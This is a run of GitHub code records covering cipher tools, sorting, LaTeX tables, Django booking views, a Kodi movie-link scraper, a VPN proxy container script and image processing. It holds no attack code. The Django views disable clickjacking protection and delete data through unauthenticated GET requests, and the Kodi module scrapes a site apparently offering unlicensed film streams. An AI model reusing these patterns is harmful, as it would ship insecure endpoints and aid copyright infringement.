p2.position & (p.projection - p2.projection) < holder:\n print(\"hi\")\n\n\ndef swap(p1, p2, lineup1, lineup2):\n print(1)\n\ndef updateLine(lineup, pos):\n print(2)\n\nsend_request()\n\nprint(\"Started Reading JSON file\")\nwith open(\"players.json\") as json_file:\n print(\"Converting JSON encoded data into Python dictionary\")\n player = json.load(json_file)\n print(\"Type: \", type(player))\n\n print(\"Decoded JSON Data From File\")\n for x in range(10):\n print(player[x])\n\n print(\"Done reading json file\")\n\nfreeAgents = calcProjection()\n\nlineup = createLineup(freeAgents)\nfor p in lineup:\n trimPool(p.position, p.salary)\n\ntotalSal = 0\nfor p in lineup:\n totalSal += p.salary\n\nif totalSal > salCap:\n lineup1 = createLineup(freeAgents)\nelse:\n print (lineUp)\n quit()\n\nwhile totalSal > salCap:\n holder = findMinDif(lineup, lineup1)\n swap(holder[0], holder[1], lineup, lineup1)\n updateLine(lineup1, holder[0].pos)\n\nprint(lineup)\nquit()","repo_name":"kjc882/DailyDrafter","sub_path":"DailyDrafter.py","file_name":"DailyDrafter.py","file_ext":"py","file_size_in_byte":7411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35391149971","text":"import sys\nfrom main import *\nimport convertir\n\n\ndef main():\n args = sys.argv\n if args[1] == 'd':\n if args[2] == 'c':\n text = lecture(args[3])\n result = chiffrement_decalage(text, int(args[4]))\n return result\n elif args[2] == 'd':\n text = lecture(args[3])\n result = dechriffrement_decalage(text, int(args[4]))\n return result\n\n if args[1] == 's':\n if args[2] == 'c':\n dico = convertir.convert(args[4])\n res = chiffrement_substitution(args[3], dico)\n return res\n\n\nmain()\n","repo_name":"sametcatakli/algo1","sub_path":"s9/chiffrement.py","file_name":"chiffrement.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"17383066026","text":"#!/usr/bin/env python\n# coding: utf8\n\n#Diese Datei enthält verschiedene Funktionen, die zur Erstellung einer Latex tex-Datei benötigt werden.\n\n#Aufruf:\n# exec(open(\"Funktionen/funktionen.py\").read())\n\n\nbuchstaben=\"A B C D E F G H I J K L M N O P Q R S T U V W X Y Z\".split()+\"a b c d e f g h i j k l m n o p q e s t u v w x y z\".split()\n\ndef erzeugeDeziStellenwerttabelle(zahlenliste,mitUmrandung=True):\n#Diese Funtion erzeugt eine Latex Tabelle für Stellenwerttabellen.\n#Beispiel: zahlenliste=[2.56,3.45,76.543,...]\n lenVorKomma=2\n lenNachKomma=3\n tabelle=[]\n if mitUmrandung:\n tabelle=tabelle+erzeugeStellenwertTabellenKopf()\n for zahl in zahlenliste:\n zerlegt=strNW(zahl).split(',')\n tabelle.append('&'.join([' ']*(lenVorKomma-len(zerlegt[0]))+list(zerlegt[0])+list(zerlegt[1])+[' ']*(lenNachKomma-len(zerlegt[1])))+'& &'+strNW(zahl)+'\\\\\\\\\\\\hline')\n if mitUmrandung:\n tabelle=tabelle+erzeugeStellenwertTabellenAbscluss()\n return tabelle\n\ndef erzeugeDeziStellenwerttabelleMehrereAufgaben(aufgabenliste):\n#Diese Funtion erzeugt eine Latex Tabelle für Stellenwerttabellen die aus mehreren Aufgaben zusammengesetzt wird.\n#Beispiel: zahlenliste=[['Aufgabe 1',33.0,54,23.495],['Aufgabe2',34.76,0.23],...]\n tabelle=erzeugeStellenwertTabellenKopf(eineAufgabe=False)\n for aufgabe in aufgabenliste:\n aufg=aufgabe[0]\n tab2=erzeugeDeziStellenwerttabelle(aufgabe[1:],mitUmrandung=False)\n tab2[0]=aufg+'&'+tab2[0].replace('hline','cline{2-8}')\n tab2[1:-1]=['&'+x.replace('hline','cline{2-8}') for x in tab2[1:-1]]\n tab2[-1]='&'+tab2[-1].replace('hline','Xhline{2\\\\arrayrulewidth}')\n tabelle=tabelle+tab2\n tabelle=tabelle+erzeugeStellenwertTabellenAbscluss()\n return tabelle\n\ndef erzeugeStellenwertTabellenKopf(eineAufgabe=True):\n kopf=[]\n kopf.append('\\\\centerline{')\n kopf.append('\\\\begin{tabular}{'+('' if eineAufgabe else '|l') +'|c|c?c|c|c|c|r|} ')\n kopf.append('\\\\hline')\n kopf.append(('' if eineAufgabe else '&') +'Z & H & z & h & t & & Dezimalzahl\\\\\\\\\\\\hline')\n kopf.append(('' if eineAufgabe else '&') +' 10 & 1 & $\\\\frac{1}{10}$ & $\\\\frac{1}{100}$ & $\\\\frac{1}{100}$ &\\\\phantom{M)}& \\\\\\\\\\\\Xhline{2\\\\arrayrulewidth}')\n return kopf\n\ndef erzeugeStellenwertTabellenAbscluss():\n abschluss=[]\n abschluss.append('\\\\end{tabular}')\n abschluss.append('}')\n return abschluss","repo_name":"jochen-rath/Arbeitsblattgenerator","sub_path":"Funktionen/funktionenLatexStellenwerttafel.py","file_name":"funktionenLatexStellenwerttafel.py","file_ext":"py","file_size_in_byte":2408,"program_lang":"python","lang":"de","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"26880027634","text":"import threading\n\n\ndef merge_sort(arr):\n\n def _merge(arr1, arr2):\n i, j = 0, 0\n l1, l2 = len(arr1), len(arr2)\n arr_sorted = [0] * (l1 + l2)\n idx = 0\n while i < l1 and j < l2:\n if arr1[i] < arr2[j]:\n arr_sorted[idx] = arr1[i]\n i += 1\n else:\n arr_sorted[idx] = arr2[j]\n j += 1\n idx += 1\n\n while i < l1:\n arr_sorted[idx] = arr1[i]\n i += 1\n idx += 1\n while j < l2:\n arr_sorted[idx] = arr2[j]\n j += 1\n idx += 1\n return arr_sorted\n\n def _recursive_sort(arr):\n if len(arr) == 1:\n return arr\n mid = len(arr) // 2\n left_arr = _recursive_sort(arr[:mid])\n right_arr = _recursive_sort(arr[mid:])\n return _merge(left_arr, right_arr)\n\n return _recursive_sort(arr)\n\n\ndef merge_sort_inplace(arr):\n\n def _merge(arr, start, mid, end):\n start2 = mid + 1\n\n while start <= mid and start2 <= end:\n\n if arr[start] <= arr[start2]: # elem in right place\n start += 1\n else:\n orig_start2 = arr[start2]\n idx = start2\n # shift all elements between start and start2\n # to the right by one place\n while idx != start:\n arr[idx] = arr[idx - 1]\n idx -= 1\n arr[start] = orig_start2\n\n start += 1\n mid += 1\n start2 += 1\n\n def _recursive_sort(arr, left, right):\n if left < right:\n mid = left + ((right - left) // 2)\n _recursive_sort(arr, left, mid)\n _recursive_sort(arr, mid + 1, right)\n _merge(arr, left, mid, right)\n\n _recursive_sort(arr, 0, len(arr) - 1)\n\n\ndef _merge(arr, start, mid, end):\n start2 = mid + 1\n\n while start <= mid and start2 <= end:\n\n if arr[start] <= arr[start2]: # elem in right place\n start += 1\n else:\n orig_start2 = arr[start2]\n idx = start2\n # shift all elements to the right by one place\n while idx != start:\n arr[idx] = arr[idx - 1]\n idx -= 1\n arr[start] = orig_start2\n\n start += 1\n mid += 1\n start2 += 1\n\n\ndef _recursive_sort(arr, left, right):\n if left < right:\n mid = left + ((right - left) // 2)\n _recursive_sort(arr, left, mid)\n _recursive_sort(arr, mid + 1, right)\n _merge(arr, left, mid, right)\n\n# _recursive_sort(arr, 0, len(arr) - 1)\n\n\nif __name__ == \"__main__\":\n\n ar = [2, 4, 1, 2, 4, 5, 8, 2, 351, 2, 0]\n\n thread1 = threading.Thread(\n target=_recursive_sort, args=(ar, 0, len(ar) // 2),)\n thread2 = threading.Thread(\n target=_recursive_sort, args=(ar, (len(ar) // 2) + 1, len(ar) - 1,))\n thread1.start()\n thread2.start()\n thread1.join()\n thread2.join()\n _merge(ar, 0, len(ar) // 2, len(ar) - 1)\n print(ar)\n","repo_name":"SamSamhuns/wallbreakers_projekts","sub_path":"Leetcode/week_6/multi_threaded_merge_sort.py","file_name":"multi_threaded_merge_sort.py","file_ext":"py","file_size_in_byte":3083,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"38317321147","text":"# from sortedcontainers import SortedSet\nimport calendar\nfrom datetime import date, datetime, timedelta\n\nfrom datetimerange import DateTimeRange\nfrom django.contrib import messages\n\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom django.utils.safestring import mark_safe\nfrom django.views import View\n\nfrom .models import Event\nfrom .utils import Calendar\nfrom django.views.decorators.clickjacking import xframe_options_exempt\n\nfrom .extras import transact, generate_client_token, create_customer, create_subscription\n\n\nclass XFrameOptionsExemptMixin:\n @xframe_options_exempt\n def dispatch(self, *args, **kwargs):\n return super().dispatch(*args, **kwargs)\n\n\ndef get_date(req_day):\n if req_day:\n year, month = (int(x) for x in req_day.split('-'))\n return date(year, month, day=1)\n return datetime.today()\n\n\ndef prev_month(d):\n first = d.replace(day=1)\n prev_month = first - timedelta(days=1)\n month = 'month=' + str(prev_month.year) + '-' + str(prev_month.month)\n return month\n\n\ndef next_month(d):\n days_in_month = calendar.monthrange(d.year, d.month)[1]\n last = d.replace(day=days_in_month)\n next_month = last + timedelta(days=1)\n month = 'month=' + str(next_month.year) + '-' + str(next_month.month)\n return month\n\n\nclass ManifestMonthCalendar(XFrameOptionsExemptMixin, View):\n def get(self, request, *args, **kwargs):\n date = get_date(request.GET.get('month', None))\n cal = Calendar(date.year, date.month)\n cal.setfirstweekday(6)\n html_cal = cal.formatmonth(withyear=True)\n context = {}\n context['calendar'] = mark_safe(html_cal)\n context[\"date\"] = date\n context['prev'] = prev_month(date)\n context['next'] = next_month(date)\n context['client_token'] = generate_client_token()\n return render(request, \"manifest_calendar.html\", context)\n\n\nclass ManifestCreateEvent(XFrameOptionsExemptMixin, View):\n def post(self, request, *args, **kwargs):\n name=request.POST.get('name')\n email=request.POST.get('email')\n phone=request.POST.get('phone')\n date = request.POST.get('date')\n result = transact({\n 'amount': 100,\n 'payment_method_nonce': request.POST.get('payment_method_nonce'),\n 'options': {\n \"submit_for_settlement\": True\n }\n })\n\n if result.is_success or result.transaction:\n Event.objects.create(date=date,\n name=name,\n email=email,\n phone=phone,\n is_payment=True,\n braintreeID=result.transaction.id)\n messages.success(request, \"Event has been createds .\")\n return redirect('manifest')\n else:\n Event.objects.create(date=date,\n name=name,\n email=email,\n phone=phone,\n is_payment=False,\n braintreeID=\"\")\n messages.error(request, \"Event is Not created because Transaction is not successful.\")\n return redirect('manifest')\n \nclass ManifestEventDetailView(XFrameOptionsExemptMixin, View):\n\n def get(self, request, *args, **kwargs):\n id = kwargs.get('event_id')\n event = Event.objects.get(id=id)\n context = {}\n context['event'] = event\n return render(request, \"manifest-event/manifest_eventdetail.html\", context)\n\n\nclass ManifestEventDeleteView(XFrameOptionsExemptMixin, View):\n\n def get(self, request, *args, **kwargs):\n id = kwargs.get('event_id')\n e = Event.objects.get(id=id)\n e.delete()\n messages.warning(request, f\"Event has been deleted successfuly !\")\n return redirect('manifest')\n\n\nclass ManifestDateEventAll(XFrameOptionsExemptMixin, View):\n def get(self, request, *args, **kwargs):\n date = kwargs.get('date')\n evets = Event.objects.filter(date=date).order_by('-created_date')\n context = {\n 'date': date,\n 'events': evets\n }\n return render(request, 'manifest-date/manifest_datedetail.html', context)\n","repo_name":"aaronorosen2/python-base","sub_path":"codes/manifest_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44462241637","text":"# https://www.acmicpc.net/problem/1389\nimport collections\nimport sys\nN, M = map(int, input().split())\nfriends = collections.defaultdict(list)\nfor i in range(M):\n a, b =list(map(int, input().split()))\n friends[a].append(b)\n friends[b].append(a)\ndef bfs(s):\n count_memory = [0]*(N+1)\n # print(count_memory)\n discovered = []\n queue = [(s,0)]\n while queue:\n v = queue.pop(0)\n if v[0] not in discovered:\n discovered.append(v[0])\n count_memory[v[0]]+=v[1]\n print(count_memory)\n for i in friends[v[0]]:\n queue.append((i,v[1]+1))\n print(queue)\n return sum(count_memory)\nmin, index = sys.maxsize, 0\nfor i in range(1, N+1):\n amount = bfs(i)\n if amount < min:\n min = amount\n index = i\nprint(index)\n\n","repo_name":"joohyun333/programmers","sub_path":"백준/BFS/케빈 베이컨의 6단계 법칙.py","file_name":"케빈 베이컨의 6단계 법칙.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34131673079","text":"import numpy as np\nimport cv2\nimport argparse\n\nfrom sobel import sobel_edge_detection\nfrom gaussian_smoothing import gaussian_blur\n\nimport matplotlib.pyplot as plt\n\n\ndef non_max_suppression(gradient_magnitude, gradient_direction, verbose):\n image_row, image_col = gradient_magnitude.shape\n\n output = np.zeros(gradient_magnitude.shape)\n\n PI = 180\n\n for row in range(1, image_row - 1):\n for col in range(1, image_col - 1):\n direction = gradient_direction[row, col]\n\n # (0 - PI/8 and 15PI/8 - 2PI)\n if (0 <= direction < PI / 8) or (15 * PI / 8 <= direction <= 2 * PI):\n before_pixel = gradient_magnitude[row, col - 1]\n after_pixel = gradient_magnitude[row, col + 1]\n\n elif (PI / 8 <= direction < 3 * PI / 8) or (9 * PI / 8 <= direction < 11 * PI / 8):\n before_pixel = gradient_magnitude[row + 1, col - 1]\n after_pixel = gradient_magnitude[row - 1, col + 1]\n\n elif (3 * PI / 8 <= direction < 5 * PI / 8) or (11 * PI / 8 <= direction < 13 * PI / 8):\n before_pixel = gradient_magnitude[row - 1, col]\n after_pixel = gradient_magnitude[row + 1, col]\n\n else:\n before_pixel = gradient_magnitude[row - 1, col - 1]\n after_pixel = gradient_magnitude[row + 1, col + 1]\n\n if gradient_magnitude[row, col] >= before_pixel and gradient_magnitude[row, col] >= after_pixel:\n output[row, col] = gradient_magnitude[row, col]\n\n if verbose:\n plt.imshow(output, cmap='gray')\n plt.title(\"Non Max Suppression\")\n plt.show()\n\n return output\n\n\ndef threshold(image, low, high, weak, verbose=False):\n output = np.zeros(image.shape)\n\n strong = 255\n\n strong_row, strong_col = np.where(image >= high)\n weak_row, weak_col = np.where((image <= high) & (image >= low))\n\n output[strong_row, strong_col] = strong\n output[weak_row, weak_col] = weak\n\n if verbose:\n plt.imshow(output, cmap='gray')\n plt.title(\"threshold\")\n plt.show()\n\n return output\n\n\ndef hysteresis(image, weak):\n image_row, image_col = image.shape\n\n top_to_bottom = image.copy()\n\n for row in range(1, image_row):\n for col in range(1, image_col):\n if top_to_bottom[row, col] == weak:\n if top_to_bottom[row, col + 1] == 255 or top_to_bottom[row, col - 1] == 255 or top_to_bottom[row - 1, col] == 255 or top_to_bottom[\n row + 1, col] == 255 or top_to_bottom[\n row - 1, col - 1] == 255 or top_to_bottom[row + 1, col - 1] == 255 or top_to_bottom[row - 1, col + 1] == 255 or top_to_bottom[\n row + 1, col + 1] == 255:\n top_to_bottom[row, col] = 255\n else:\n top_to_bottom[row, col] = 0\n\n bottom_to_top = image.copy()\n\n for row in range(image_row - 1, 0, -1):\n for col in range(image_col - 1, 0, -1):\n if bottom_to_top[row, col] == weak:\n if bottom_to_top[row, col + 1] == 255 or bottom_to_top[row, col - 1] == 255 or bottom_to_top[row - 1, col] == 255 or bottom_to_top[\n row + 1, col] == 255 or bottom_to_top[\n row - 1, col - 1] == 255 or bottom_to_top[row + 1, col - 1] == 255 or bottom_to_top[row - 1, col + 1] == 255 or bottom_to_top[\n row + 1, col + 1] == 255:\n bottom_to_top[row, col] = 255\n else:\n bottom_to_top[row, col] = 0\n\n right_to_left = image.copy()\n\n for row in range(1, image_row):\n for col in range(image_col - 1, 0, -1):\n if right_to_left[row, col] == weak:\n if right_to_left[row, col + 1] == 255 or right_to_left[row, col - 1] == 255 or right_to_left[row - 1, col] == 255 or right_to_left[\n row + 1, col] == 255 or right_to_left[\n row - 1, col - 1] == 255 or right_to_left[row + 1, col - 1] == 255 or right_to_left[row - 1, col + 1] == 255 or right_to_left[\n row + 1, col + 1] == 255:\n right_to_left[row, col] = 255\n else:\n right_to_left[row, col] = 0\n\n left_to_right = image.copy()\n\n for row in range(image_row - 1, 0, -1):\n for col in range(1, image_col):\n if left_to_right[row, col] == weak:\n if left_to_right[row, col + 1] == 255 or left_to_right[row, col - 1] == 255 or left_to_right[row - 1, col] == 255 or left_to_right[\n row + 1, col] == 255 or left_to_right[\n row - 1, col - 1] == 255 or left_to_right[\n row + 1, col - 1] == 255 or left_to_right[row - 1, col + 1] == 255 or left_to_right[\n row + 1, col + 1] == 255:\n left_to_right[row, col] = 255\n else:\n left_to_right[row, col] = 0\n\n final_image = top_to_bottom + bottom_to_top + right_to_left + left_to_right\n\n final_image[final_image > 255] = 255\n\n return final_image\n\n\nif __name__ == '__main__':\n\n inp = cv2.imread('input.PNG')\n\n kernel = np.ones((4, 3), np.uint8)\n image = cv2.morphologyEx(inp, cv2.MORPH_CLOSE, kernel, iterations=2)\n image = cv2.imread('input.PNG')\n image_copy = image.copy()\n cv2.imshow(\"Image\", image)\n cv2.waitKey()\n\n # Converting image to gray\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n # Converting image to binary\n ret, thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)\n cv2.imshow('Thresh ', thresh)\n cv2.waitKey()\n\n #kernel = np.ones((4, 3), np.uint8)\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (3, 3))\n\n # Performing an opening\n opening = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel, iterations=2)\n # Performing a closing\n closing = cv2.morphologyEx(opening, cv2.MORPH_CLOSE, kernel, iterations=2)\n\n # Displaying result of opening\n cv2.imshow('Opening', opening)\n cv2.waitKey()\n # Displaying result of closing\n cv2.imshow('Closing', closing)\n cv2.waitKey()\n\n blurred_image = gaussian_blur(closing, kernel_size=9, verbose=True)\n\n edge_filter = np.array([[-1, 0, 1], [-2, 0, 2], [-1, 0, 1]])\n\n gradient_magnitude, gradient_direction = sobel_edge_detection(blurred_image, edge_filter, convert_to_degree=True, verbose=True)\n\n new_image = non_max_suppression(gradient_magnitude, gradient_direction, verbose=True)\n\n weak = 50\n\n new_image = threshold(new_image, 5, 20, weak=weak, verbose=True)\n new_image = hysteresis(new_image, weak)\n new = cv2.convertScaleAbs(new_image, cv2.CV_8UC1)\n contours, hierarchy = cv2.findContours(new, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n\n cv2.drawContours(image_copy, contours, -1, (0, 255, 0), 1, cv2.LINE_AA, hierarchy, 1)\n cv2.imshow('contours', image_copy)\n cv2.waitKey()\n # plt.imshow(new_image, cmap='gray')\n # plt.title(\"Contours\")\n # plt.show()\n for i in range(len(contours)):\n x, y, w, h = cv2.boundingRect(contours[i])\n ROI = image_copy[y - 10:y + (h + 10), x:x - 5 + (w + 10)]\n cv2.imshow(\"Finger {}\".format(i + 1), ROI)\n cv2.imwrite(\"cuts/{}.png\".format(i + 1), ROI)\n cv2.waitKey()\n cv2.waitKey()\n","repo_name":"beyonderDEV/kirlian-effect-auto-segmentation","sub_path":"canny.py","file_name":"canny.py","file_ext":"py","file_size_in_byte":7304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26574322680","text":"\"\"\" \nExercício Python 107: Crie um módulo chamado moeda.py que tenha as funções incorporadas aumentar(), diminuir(), dobro() e metade(). Faça também um programa que importe esse módulo e use algumas dessas funções.\n\"\"\"\nimport uteis\nfrom time import sleep\nn = 0\nuteis.linha()\nwhile True: \n try:\n n = int(input('Digite um valor: R$ '))\n type(n) == 'int'\n break\n except ValueError:\n print('ERRO! Digite um valor válido!')\nprint('\\033[1;32mAGUARDE...\\033[m')\nsleep(2)\nuteis.aumentar(n,35)\nuteis.diminuir(n,50)\nuteis.dobro(n)\nuteis.metade(n)\nprint('\\033[1;31mSAINDO...\\033[m')\nsleep(2)\nuteis.linha()\n","repo_name":"gabrielkunst/python","sub_path":"mundo03/107.py","file_name":"107.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"18548909333","text":"# -*- coding: utf-8 -*-\n\nimport re,urllib,urlparse\n\nfrom resources.lib.libraries import cleantitle\nfrom resources.lib.libraries import client\nfrom resources.lib import resolvers\n\n\nclass source:\n def __init__(self):\n self.base_link = 'http://watchmovies-online.ch'\n self.search_link = '/?s=%s'\n\n\n def get_movie(self, imdb, title, year):\n try:\n query = self.search_link % (urllib.quote_plus(title))\n query = urlparse.urljoin(self.base_link, query)\n\n result = client.source(query)\n result = client.parseDOM(result, 'div', attrs = {'class': 'Post-body'})\n\n title = cleantitle.movie(title)\n years = ['(%s)' % str(year), '(%s)' % str(int(year)+1), '(%s)' % str(int(year)-1)]\n result = [(client.parseDOM(i, 'a', ret='href'), client.parseDOM(i, 'a')) for i in result]\n result = [(i[0][0], i[1][0]) for i in result if len(i[0]) > 0 and len(i[1]) > 0]\n result = [i for i in result if title == cleantitle.movie(i[1])]\n result = [i[0] for i in result if any(x in i[1] for x in years)][0]\n\n try: url = re.compile('//.+?(/.+)').findall(result)[0]\n except: url = result\n url = client.replaceHTMLCodes(url)\n url = url.encode('utf-8')\n return url\n except:\n return\n\n\n def get_sources(self, url, hosthdDict, hostDict, locDict):\n try:\n sources = []\n\n if url == None: return sources\n\n url = urlparse.urljoin(self.base_link, url)\n\n result = client.source(url)\n links = client.parseDOM(result, 'td', attrs = {'class': 'even tdhost'})\n links += client.parseDOM(result, 'td', attrs = {'class': 'odd tdhost'})\n\n q = re.compile('(.+?)<').findall(result)\n if len(q) > 0: q = q[0]\n else: q = ''\n\n if q.endswith(('CAM', 'TS')): quality = 'CAM'\n else: quality = 'SD'\n\n for i in links:\n try:\n host = client.parseDOM(i, 'a')[0]\n host = host.split('<', 1)[0]\n host = host.rsplit('.', 1)[0].split('.', 1)[-1]\n host = host.strip().lower()\n if not host in hostDict: raise Exception()\n host = client.replaceHTMLCodes(host)\n host = host.encode('utf-8')\n\n url = client.parseDOM(i, 'a', ret='href')[0]\n url = client.replaceHTMLCodes(url)\n url = url.encode('utf-8')\n\n sources.append({'source': host, 'quality': quality, 'provider': 'WMOnline', 'url': url})\n except:\n pass\n\n return sources\n except:\n return sources\n\n\n def resolve(self, url):\n try:\n result = client.request(url)\n\n try: url = client.parseDOM(result, 'a', ret='href', attrs = {'class': 'wsoButton'})[0]\n except: pass\n\n url = resolvers.request(url)\n return url\n except:\n return\n\n\n\n","repo_name":"mpie/repo","sub_path":"plugin.video.doofree_old/resources/lib/sources/wmonline_mv_null.py","file_name":"wmonline_mv_null.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23793586290","text":"import subprocess\nfrom time import sleep\n\nimport requests as requests\nfrom flask import Flask\nfrom loguru import logger\n\nMAX_ATTEMPTS = 7\n\n\nclass Trail:\n def __init__(self):\n logger.info(\"( ) initializing trail\")\n self.config_path = \"/bough/openvpn/config\"\n self.auth_path = \"/bough/openvpn/auth\"\n self.reflector_url = \"https://api.ipify.org?format=json\"\n self.overhill_address = self.collect_overhill_address()\n self.connect_openvpn()\n self.force_cloudflare_dns()\n self.start_proxy()\n self.confirm_connection()\n\n # prep flask\n self.flask_app = Flask(\"trail\")\n self.flask_app.add_url_rule(\"/condemn\", view_func=self.condemn, methods=[\"POST\"])\n logger.info(\"(*) initialized trail\")\n\n def condemn(self):\n logger.info(\"( ) shutting down\")\n raise Exception(\"Shutdown!\")\n\n def collect_overhill_address(self):\n logger.info(f\"( ) collecting overhill address\")\n overhill_address = requests.get(self.reflector_url).json()[\"ip\"]\n logger.info(f\"(*) collected overhill address: {overhill_address}\")\n return overhill_address\n\n def connect_openvpn(self):\n logger.info(\"( ) starting openvpn\")\n command = f\"nohup openvpn --config {self.config_path} --auth-user-pass {self.auth_path} &\"\n self.shell_exec(command)\n logger.info(\"(*) started openvpn\")\n\n def force_cloudflare_dns(self):\n logger.info(\"( ) forcing cloudflare dns resolution\")\n command = \"echo 'nameserver 1.1.1.1\\nnameserver 1.0.0.1\\noptions edns0 trust-ad' > /etc/resolv.conf\"\n self.shell_exec(command)\n logger.info(\"(*) forced cloudflare dns resolution\")\n\n def start_proxy(self):\n logger.info(\"( ) starting proxy\")\n command = \"tinyproxy\"\n # (~) if you want to debug, use `tinyproxy -d` instead\n self.shell_exec(command)\n logger.info(\"(*) started proxy\")\n\n def confirm_connection(self):\n logger.info(\"( ) confirming disguise\")\n proxy_settings = {\n \"http\": \"http://0.0.0.0:33700\",\n \"https\": \"http://0.0.0.0:33700\",\n }\n underhill_address = self.overhill_address\n current_attempts = 0\n while underhill_address == self.overhill_address and current_attempts < MAX_ATTEMPTS:\n current_attempts += 1\n try:\n logger.info(f\"( ) collecting underhill address\")\n sleep(0.5)\n underhill_address = requests.get(self.reflector_url, proxies=proxy_settings, timeout=3).json()[\"ip\"]\n logger.info(f\"(*) collected underhill address: {underhill_address}\")\n except Exception as error:\n pass\n if current_attempts >= MAX_ATTEMPTS:\n raise Exception(\"Could not verify ipv4 address had changed (~) check vpn\")\n logger.info(f\"(*) confirmed disguise: {self.overhill_address} -> {underhill_address}\")\n\n def shell_exec(self, command):\n subprocess.run(\n command,\n shell=True,\n encoding=\"UTF-8\",\n check=True,\n capture_output=False\n )\n\n\ndef create_app():\n trail = Trail()\n return trail.flask_app\n\n\nif __name__ == '__main__':\n trail = Trail()\n trail.flask_app.run(host=\"0.0.0.0\", port=33700, threaded=False, processes=1)\n","repo_name":"vagabond-systems/underhill","sub_path":"trail/trail.py","file_name":"trail.py","file_ext":"py","file_size_in_byte":3354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9925756500","text":"# module taken from leet code problem; learned about call by object reference and static variable in python\n# realization: https://www.geeksforgeeks.org/is-python-call-by-reference-or-call-by-value/\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution(object):\n \n \n \n def maxPathSum(self, root):\n def find_max(root):\n if not root:\n return 0\n l = find_max(root.left)\n r = find_max(root.right)\n child_sum = max(max(l,r)+root.val , root.val)\n sub_sum = max(child_sum , l+r+root.val)\n \n find_max.cur_sum = max(find_max.cur_sum , sub_sum)\n return child_sum\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n #static variable\n find_max.cur_sum = float(\"-inf\")\n find_max(root)\n return find_max.cur_sum\n","repo_name":"rudyerudite/Problem-solving","sub_path":"binary_tree_max__path.py","file_name":"binary_tree_max__path.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38123694944","text":"from . import pil\nfrom . import exif\nfrom . import hachoir\nfrom . import stat\nfrom . import path\n\nparsers = {\n # .gif, .png, .mpg, .mpeg, .mkv, .mp4\n '.jpg': [stat, path, exif, pil],\n '.jpeg': [stat, path, exif, pil],\n '.jp2': [stat, path, exif, pil],\n '.heic': [stat, path, exif, pil],\n '.png': [stat, path],\n '.gif': [stat, path],\n '.mov': [stat, path, hachoir],\n '.mp4': [stat, path, hachoir],\n '.mkv': [stat, path, hachoir],\n '.aae': [stat, path]\n}\n\ndef remove_nulls(metadata):\n return {k: v for k, v in metadata.items() if v is not None}\n\ndef parse(path):\n merged_metadata = {}\n merged_raw = {}\n\n for parser in parsers[path.suffix.lower()]:\n raw, metadata = parser.parse(path)\n\n merged_metadata.update(remove_nulls(metadata))\n merged_raw.update(remove_nulls(raw))\n\n return merged_raw, merged_metadata\n","repo_name":"mfichman/media-organizer","sub_path":"metadata/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30687222389","text":"import numpy as np\nimport os\nimport csv\nimport tensorflow as tf\nfrom tensorflow import keras\n\npath = \"/home/ioan/Desktop/Database/\"\n\n\n\ndef get_accuracy_from_confusion_matrix(confusion_matrix):\n acc = 0.0\n for k in range(confusion_matrix.shape[0]):\n acc += confusion_matrix[k][k]\n\n return 100.0*acc/np.sum(confusion_matrix)\n\n\ndef create_confusion_matrix(label_test, label_predict):\n label_test = np.asanyarray(label_test, dtype=int)\n label_predict = np.asanyarray(label_predict, dtype=int)\n nr_1 = int(label_test.max() + 1)\n nr_t = label_test.shape[0]\n confusion_matrix = np.zeros((nr_1, nr_1), dtype=np.int32)\n for i in range(nr_t):\n confusion_matrix[label_test[i]][label_predict[i]] += 1\n\n return confusion_matrix\n\n\n# returns 6 np arrays:\n# x_train, y_train, x_val, y_val, x_test, y_test\n# Obs: val is the same with dev\ndef prepare_xy_train_val_test_asnumpyarrays2():\n # data base read and format:\n x_train, y_train = [], []\n x_test, y_test = [], []\n x_val, y_val = [], []\n\n path_load = \"/home/ioan/Desktop/Database/Train\"\n path_save = \"/home/ioan/Desktop/\"\n\n # window size, choose it to be 50 samples\n # because 50 & 200Hz(sampling rate) = 250ms\n # a sample = one line from a (*,8) matrix\n N = 50\n overlap_procent = 0.5 # interval [0:1]\n overlap = int(N * overlap_procent)\n hamming = np.hamming(N * 8) # did not improve accuracy :(\n # hamming = np.reshape(hamming, (N*8, )) # reshape both window if wanted, but does not make improvements\n\n # create train, test, val directories:\n path_database = os.path.join(path_save, 'Split_database')\n path_train = os.path.join(path_database, 'Train')\n path_test = os.path.join(path_database, 'Test')\n path_val = os.path.join(path_database, 'Val')\n\n if not os.path.exists(path_database):\n os.makedirs(path_database)\n if not 